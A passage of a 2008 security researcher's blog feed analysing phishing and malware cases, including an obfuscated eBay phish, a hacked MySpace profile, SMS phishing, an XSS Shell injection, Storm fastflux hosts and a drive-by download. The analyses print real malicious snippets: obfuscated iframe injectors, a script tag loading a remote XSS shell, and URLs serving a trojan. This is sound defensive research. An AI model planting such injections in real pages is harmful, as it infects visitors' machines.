&lt;span class="nx"&gt;hp_d00&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%3C%42%4F%44...44%59%3E&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It is trivial to revert the obfuscation and reveal the actual content:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;SCRIPT &lt;/span&gt;&lt;span class="na"&gt;LANGUAGE=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;JavaScript&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="c"&gt;&amp;lt;!--&lt;/span&gt;
&lt;span class="nx"&gt;hp_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;hp_d00&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;hp_ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/SCRIPT&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;SCRIPT &lt;/span&gt;&lt;span class="na"&gt;LANGUAGE=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;JavaScript&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="c"&gt;&amp;lt;!--&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;hp_ne&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="nx"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;hp_ne&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userAgent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Opera&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;about:blank&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="o"&gt;--&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/SCRIPT&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;HEAD&amp;gt;&amp;lt;META&lt;/span&gt; &lt;span class="na"&gt;HTTP-EQUIV=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Pragma&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;CONTENT=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;No-Cache&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;META&lt;/span&gt; &lt;span class="na"&gt;NAME=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Robots&amp;quot;&lt;/span&gt;
&lt;span class="na"&gt;CONTENT=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;NoIndex&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;META&lt;/span&gt; &lt;span class="na"&gt;HTTP-EQUIV=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Expires&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;CONTENT=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-1&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/HEAD&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;BODY&amp;gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;http-equiv=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Refresh&amp;quot;&lt;/span&gt;
&lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0;url=http://pages.ebay.com/help/policies/hub.html?ssPageName=f:f:US&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/BODY&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The generated HTML code redirects to the appropriate page on the
legitimate eBay site. Note that, by using a refresh redirect (never mind
that it should be in the head section of the file, rather than in the
body), the phishing site clears the referer header and, thus, evades
simple hotlinking analysis. At this point, it is not clear to me why the
script handles opera differently. Suggestions?&lt;/p&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/06/obfuscated-phish.html</guid><pubDate>Mon, 09 Jun 2008 00:41:00 GMT</pubDate></item><item><title>MySpace hack</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/05/myspace-hack.html</link><description>&lt;p&gt;After hearing all kinds of stories about bad security at MySpace, I
finally found a hacked profile. The profile, cyn7777, has now been
cleaned up, so some parts of what follows will not work anymore.&lt;/p&gt;

&lt;p&gt;The key of the attack were the following lines that were inserted in the
profile's main page:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://www.msplinks.com/MDFodHRwOi8vY29tLmNvbS9yZWRpcj9lZEl&lt;/span&gt;
&lt;span class="s"&gt;kPTMmZGVzdFVybD1mdHA6Ly9taWNyb3NvZnBjZW50ZXI3MS5jbi9LQjg5MDgzMS5leG&lt;/span&gt;
&lt;span class="s"&gt;U=&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;img&lt;/span&gt;
&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://img341.imageshared.cn/..&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;position:absolute;&lt;/span&gt;
&lt;span class="s"&gt;left:0px; top: 0px;&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;border=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code loaded an image similar to the following one and
superimposed it to the page's contents. The actual image had 990x990
dimensions and transparent background, so, at first sight, the figure
could be taken for a system's window: a classic picture-in-picture
attack.&lt;/p&gt;

&lt;p&gt;&lt;img src="images/blog/removaltool.png"
     class="figure-centered"
     alt="Screenshot of the fake removal tool window"
     title="Screenshot of the fake removal tool window"
     width="500" height="333"/&gt;&lt;/p&gt;

&lt;p&gt;Clicking anywhere on most of the page caused the browser to visit the
base64-looking URL on &lt;a href="http://msplinks.com"&gt;msplinks.com&lt;/a&gt;. It turns out
that back in April 2007 MySpace started to convert certain links to
redirects through the &lt;code&gt;msplinks.com&lt;/code&gt; site (check out the source of its
index page :-)).  The goal? "To easily turn off links to spam, phishing,
or virus sites".&lt;/p&gt;

&lt;p&gt;It looks like that didn't work too well... In fact, the link on
&lt;code&gt;msplinks.com&lt;/code&gt; (still) redirects to&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://com.com/redir?edId=3&amp;amp;destUrl=ftp://microsofpcenter71.cn/KB890831.exe&lt;/code&gt;, which redirects to&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://www.cnet.com/redir?edId=3&amp;amp;destUrl=ftp://microsofpcenter71.cn/KB890831.exe&lt;/code&gt;, which redirects to&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://dw.com.com/redir?edId=3&amp;amp;destUrl=ftp://microsofpcenter71.cn/KB890831.exe&lt;/code&gt;, which redirects to &lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://dw.com.com/redir/redx/?edId=3&amp;amp;destUrl=ftp://microsofpcenter71.cn/KB890831.exe&lt;/code&gt;, which, finally, redirects to &lt;/li&gt;
&lt;li&gt;&lt;code&gt;ftp://microsofpcenter71.cn/KB890831.exe&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(Incidentally, nice open redirector, &lt;code&gt;cnet.com&lt;/code&gt;!)&lt;/p&gt;

&lt;p&gt;The ftp site is still active and serves a bunch of exe files (all
identical, except for their names). It seems the files have been changed
in the last few days, probaby to evade detection from anti-virus tools.
In any case, VirusTotal
&lt;a href="http://www.virustotal.com/analisis/40ebb8040ef8996836f27430b9343003
" title="VirusTotal analysis for KX083920.exe
(9728d2b025b0ca6bc30315e35feda37d)"&gt;recognizes&lt;/a&gt; the old and the new version as some
form of trojan/downloader. According
&lt;a href="http://anubis.iseclab.org/result.php?taskid=61765b181b66f9d41d32c498ff7e5042
" title="Anubis report for 47fb60490ddc7e07b25c6bd9700e02b0"&gt;to&lt;/a&gt;
&lt;a href="http://anubis.iseclab.org/result.php?taskid=61765b181b66f9d41d32c498ff7e5042
" title="Anubis report for 9728d2b025b0ca6bc30315e35feda37d"&gt;anubis&lt;/a&gt;, among other
things, the binaries launch Internet Explorer and visit
&lt;code&gt;http://mycashloads.com/newuser.php?saff=373.0&lt;/code&gt;, which, however,
redirects to &lt;code&gt;yahoo.com&lt;/code&gt;.&lt;/p&gt;
</description><category>malware</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/05/myspace-hack.html</guid><pubDate>Thu, 22 May 2008 00:00:00 GMT</pubDate></item><item><title>Phish by SMS</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/05/phish-by-sms.html</link><description>&lt;p&gt;And when you thought you knew all the tricks to detect phishing sites,
had installed all the anti-phish browser plugins, and had developed a
bunch of heuristics to identify phishing e-mails at first sight, they
change the medium.&lt;/p&gt;

&lt;p&gt;This morning I received the following SMS from 1010100001:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;FRM:security@rabobankamerica.com
SUBJ:ALERT
MSG:Your Rabobank America account is closed due to unusual activity,
call us now at 8603830711.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Besides the obviously bogus source number, the fact that I don't have an
account at Rabobank America was sort of a give away... The phone number
turned out to be already disconnected, but I suspect I would have found
a voice message asking for my credentials and other confidential
information.&lt;/p&gt;

&lt;p&gt;I think this is an interesting development. First, we are certainly less
experienced at considering SMS content as suspicious. If you receive
SMSs only from friends (and possibly the annoying advertisements from
your carrier), you may think SMSs are trustworthy by default. Second,
on cell phones, we may have less possibilities to check the authenticity
of received messages: my (admittedly, very cheap and unsophisticated)
phone has no anti-phish SMS plugin and no browser.&lt;/p&gt;

&lt;p&gt;From the attacker's point of view, it would be interesting to see how they
are paying for sending the messages. Compromised accounts on an
SMS-sending web site? Stolen credit card? Other suggestions?&lt;/p&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/05/phish-by-sms.html</guid><pubDate>Fri, 16 May 2008 08:56:00 GMT</pubDate></item><item><title>Phished and botted</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/05/phished-and-botted.html</link><description>&lt;p&gt;It's not uncommon for attackers to exploit a vulnerable web server and use
it for several different purposes: maximization of the return on
investment, some might say. Case in point are three recent entries in
PhishTank
(&lt;a href="http://www.phishtank.com/phish_detail.php?phish_id=439391"&gt;439391&lt;/a&gt;, &lt;a href="http://www.phishtank.com/phish_detail.php?phish_id=439479"&gt;439479&lt;/a&gt;, and &lt;a href="http://www.phishtank.com/phish_detail.php?phish_id=442568"&gt;442568&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;As the PhishTank reference says, these sites were used to host phishing
pages. Nothing special here: the usual replicas of banking and
governmental web sites.  More interestingly, all the legitimate HTML
pages on the sites were modified to include the following script
tag:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://216.214.109.45/private/xxx/xssshell.asp?v=336699&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code fetches a copy of
the &lt;a href="http://archives.neohapsis.com/archives/sf/www-mobile/2006-q4/0080.html"&gt;XSS
Shell&lt;/a&gt;,
a tool that essentially transforms the browser into a bot, controllable
by the attacker through cross-site scripting (XSS) mechanisms.  The
tool, published at the end of 2006 as a proof-of-concept of XSS, comes
with a useful set of predefined commands (e.g., start keylogging, get 
internal IP, launch DoS attack), is prepackaged with a nice
administration interface, and has extensive
&lt;a href="http://www.portcullis-security.com/uplds/whitepapers/XSSTunnelling.pdf
" title="Ferruh Mavituna, XSS Tunnelling"&gt;documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It turns out that the attacker hasn't fully read the xssshell
instructions, in particular the part on installing the back-end database
outside of the document root, with the effect that the database is publicly
accessible... The database contains information about the victims of the
tool and a log of the attacker's commands. After opening the database, a
MS Access file readable with the &lt;a href="http://mdbtools.sourceforge.net/" title="MDB Tools"&gt;MDB
Tools&lt;/a&gt;, it is possible to
reconstruct some of the attacker's activity. &lt;/p&gt;

&lt;p&gt;Here are the highlights:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It appears that the attack has been active since April 22. &lt;/li&gt;
&lt;li&gt;At the moment of writing, it has involved 9333 distinct IP addresses,
or about 490 different IPs per day. &lt;/li&gt;
&lt;li&gt;The attacker seems to have quite a varied set of
interests: he/she stole at least 60 cookies, eavesdropped on 50 or so
pages being viewed by the victims, launched about 20 times the
keylogging procedure, and experimented for over 400 times with the DDoS
feature. &lt;/li&gt;
&lt;/ul&gt;
</description><category>malware</category><category>phishing</category><category>botnets</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/05/phished-and-botted.html</guid><pubDate>Sun, 11 May 2008 15:16:00 GMT</pubDate></item><item><title>A look at the Storm codec campaign's fastflux</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/04/a-look-at-the-storm-codec-campaigns-fastflux.html</link><description>&lt;p&gt;Kind of late, but better than never I guess :-)&lt;/p&gt;

&lt;p&gt;At the beginning of the months, the Storm gang got
&lt;a href="http://www.securityzone.org/?p=52" title="More Fake Video Codec Pages..
Trojan.Delf? Trojan.Zlob? Nope - Storm Worm!"&gt;quite&lt;/a&gt;
&lt;a href="http://blog.trendmicro.com/storm-now-on-video/" title="Storm: Now on
Video!"&gt;some&lt;/a&gt;
&lt;a href="http://asert.arbornetworks.com/2008/04/busy-day-kraken-new-storm-run-and-msft-bulletins/
" title="Busy Day - Kraken, New Storm Run, and MSFT Bulletins"&gt;coverage&lt;/a&gt;  by launching a
new attack campaign, based, this time, on a codec theme.
Essentially, the gang tries to convince people to install a piece of malware
(apparently, a NUWAR/Storm variant), by using the common social
engineering trick of a missing video codec.&lt;/p&gt;

&lt;p&gt;An interesting detail about the campaign was that it used a
&lt;a href="http://honeyblog.org/archives/161-Measuring-and-Detecting-Fast-Flux-Service-Networks.html
" title="Measuring and Detecting Fast-Flux Service Networks"&gt;fastflux&lt;/a&gt; domain name, i.e.,
&lt;code&gt;supersameas.com&lt;/code&gt;. Let's take a look at its infrastructure.&lt;/p&gt;

&lt;p&gt;On April 9, I started to query the supersameas name servers to harvest
the IP addresses associated with the campaign. At each request, the name
server would reply with one IP address with 0 TTL. I continued to query
the server until it gave me for 30 consecutive times addresses that I
had already seen. At that point, I switched to a new name server, and so
on.&lt;/p&gt;

&lt;p&gt;In total, I collected 1416 IP addresses from 405 ASes. For about 100 IPs, I
could not get the corresponding AS, so what follows may be slightly
skewed. The ASes with more than 20 addresses were:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;AS7132&lt;/em&gt;: SBIS-AS - AT&amp;amp;T Internet Services (105 addresses)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;AS7922&lt;/em&gt;: DNEO-OSP3 - Comcast Cable Communications, Inc. (46)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;AS4766&lt;/em&gt;: KIXS-AS-KR Korea Telecom (43)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;AS8708&lt;/em&gt;: RDSNET RCS &amp;amp; RDS S.A. (29)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;AS20214&lt;/em&gt;: CCCH-AS6 - Comcast Cable Communications Holdings, Inc (24)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;AS20001&lt;/em&gt;: ROADRUNNER-WEST - Road Runner HoldCo LLC (20)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In terms of geographical distribution, the affected ASes were in
the following countries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Australia&lt;/li&gt;
&lt;li&gt;China&lt;/li&gt;
&lt;li&gt;Hong Kong&lt;/li&gt;
&lt;li&gt;Indonesia&lt;/li&gt;
&lt;li&gt;Japan&lt;/li&gt;
&lt;li&gt;Korea&lt;/li&gt;
&lt;li&gt;Malaysia&lt;/li&gt;
&lt;li&gt;Philippines&lt;/li&gt;
&lt;li&gt;Pakistan&lt;/li&gt;
&lt;li&gt;Thailand&lt;/li&gt;
&lt;li&gt;Taiwan&lt;/li&gt;
&lt;li&gt;United States&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Starting on April 10 at 11:27:18 PST, I also monitored for a few days if
the addresses used by the campaign were still up and running, and
serving the malicious content of the campaign. The following figure
shows how many sites were still compromised at intervals of one hour.&lt;/p&gt;

&lt;p&gt;&lt;img src="images/blog/storm-codec-stats.png"
     class="figure-centered"
     alt="Hour-by-hour statistics about the number of live sites: 0:378,10:118,20:33,30:16,40:8,50:5,60:2,70:1,80:1"
     title="Statistics about the lifetime of sites distributing the storm codec"
    width="500" height="333"/&gt;&lt;/p&gt;

&lt;p&gt;Notice that almost 75% of the hosts had already been taken down (or were
otherwise unreachable) when I started the measurement. After about 12
hours, the number of live sites drops lower than 100; after other 12
hours, it is reduced by a factor of 5, down to just 21 sites. It finally
reaches 1 site after some 67 hours and stays like that for at least other 3
days.&lt;/p&gt;
</description><category>malware</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/04/a-look-at-the-storm-codec-campaigns-fastflux.html</guid><pubDate>Tue, 29 Apr 2008 00:00:00 GMT</pubDate></item><item><title>Anatomy of a drive-by download</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/04/anatomy-of-a-drive-by-download.html</link><description>&lt;p&gt;Lately, there has been a lot of interest in drive-by downloads and at
least a couple of very &lt;a href="http://research.google.com/archive/provos-2008a.pdf" title="All Your iFRAMEs Point to Us"&gt;good&lt;/a&gt; &lt;a href="http://www.usenix.org/event/hotbots07/tech/full_papers/provos/provos.pdf" title="The Ghost In The Browser: Analysis of Web-based Malware"&gt;studies&lt;/a&gt; on this phenomenon. &lt;/p&gt;

&lt;p&gt;Here, I will discuss in details some of the more technical aspects of
these attacks, using a specific &lt;a href="http://www.phishtank.com/phish_detail.php?phish_id=421072" title="Phish
421072"&gt;case
study&lt;/a&gt;. Note: the malicious page is
now gone, but some of the other resources may still be up and running...&lt;/p&gt;

&lt;h4&gt;Redirections&lt;/h4&gt;

&lt;p&gt;The first step of the attack consists of redirecting the victim's
browser to a number of "attack pages" that attempt to exploit various
vulnerabilities and cause malware to be installed and run automatically. 
The redirection is typically done by injecting iframes in a page. Often,
the injection is masqueraded by using a number of obfuscation
techniques. &lt;/p&gt;

&lt;p&gt;In our case, the injecting page contains two injections.
The first injection uses the &lt;code&gt;unescape&lt;/code&gt; function to cover its purpose:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;writeln&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;unescape&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%3c%49%46%52%41%4d%45%20%6e%61%6d%65&lt;/span&gt;
&lt;span class="s1"&gt;%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74&lt;/span&gt;
&lt;span class="s1"&gt;%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b&lt;/span&gt;
&lt;span class="s1"&gt;%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d&lt;/span&gt;
&lt;span class="s1"&gt;%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68&lt;/span&gt;
&lt;span class="s1"&gt;%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27&lt;/span&gt;
&lt;span class="s1"&gt;%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d&lt;/span&gt;
&lt;span class="s1"&gt;%45%3e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once decoded, the escaped string reads:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
    &amp;lt;IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' + 
    Math.round(Math.random()*30295)+'4f5b' width=83 height=365 
    style='display:none'&amp;gt;&amp;lt;/IFRAME&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The second injection uses a couple of different tricks: randomized
variable and function names, and manual string decoding:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;BD37A78D25DEEF10B10A677B5F0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;B9D5D6B429B3B9BD29A08C8&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;B9D5D6B429B3B9BD29A08C8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;));}&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; 
&lt;span class="nx"&gt;D5281A4C55A9736772D3539EA51&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;D6242D36DFD76213ED900E11FDA&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;
&lt;span class="nx"&gt;C56A17251C947C7EF&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;D83D6CE95B0A38CD6F&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;
&lt;span class="nx"&gt;D83D6CE95B0A38CD6F&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;D71C351C9A9105908A5D4D9624954&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="nx"&gt;CEDB124A2EA9FE61EB10A584FE0E8&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;CEDB124A2EA9FE61EB10A584FE0E8&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;D6242D36DFD76213ED900E11FDA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;CEDB124A2EA9FE61EB10A584FE0E8&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;
&lt;span class="nx"&gt;C56A17251C947C7EF&lt;/span&gt;&lt;span class="p"&gt;()){&lt;/span&gt;&lt;span class="nx"&gt;D71C351C9A9105908A5D4D9624954&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;BD37A78D25DEEF10B10A677B5F0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="nx"&gt;D6242D36DFD76213ED900E11FDA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;substr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;CEDB124A2EA9FE61EB10A584FE0E8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
&lt;span class="nx"&gt;C56A17251C947C7EF&lt;/span&gt;&lt;span class="p"&gt;()))));}&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;D71C351C9A9105908A5D4D9624954&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="nx"&gt;D5281A4C55A9736772D3539EA51&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;3C696672616D65207372633D687474703A2F2F&lt;/span&gt;
&lt;span class="s2"&gt;6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068&lt;/span&gt;
&lt;span class="s2"&gt;703F735F69643D32302077696474683D31206865696768743D31207374796C653D22&lt;/span&gt;
&lt;span class="s2"&gt;646973706C61793A6E6F6E65223E3C2F696672616D653E&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To quickly recover the code, I redefine the &lt;code&gt;document&lt;/code&gt;
object to print to the console (&lt;code&gt;document={write:print}&lt;/code&gt;) and run the
script in
&lt;a href="http://www.mozilla.org/rhino/" title="Rhino: JavaScript for Java"&gt;rhino&lt;/a&gt;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
    &amp;lt;iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
    width=1 height=1 style="display:none"&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h4&gt;Exploits&lt;/h4&gt;

&lt;p&gt;A typical attack page contains a barrage of exploits targeting a variety
of exploits in different versions of the browser, operating system, and
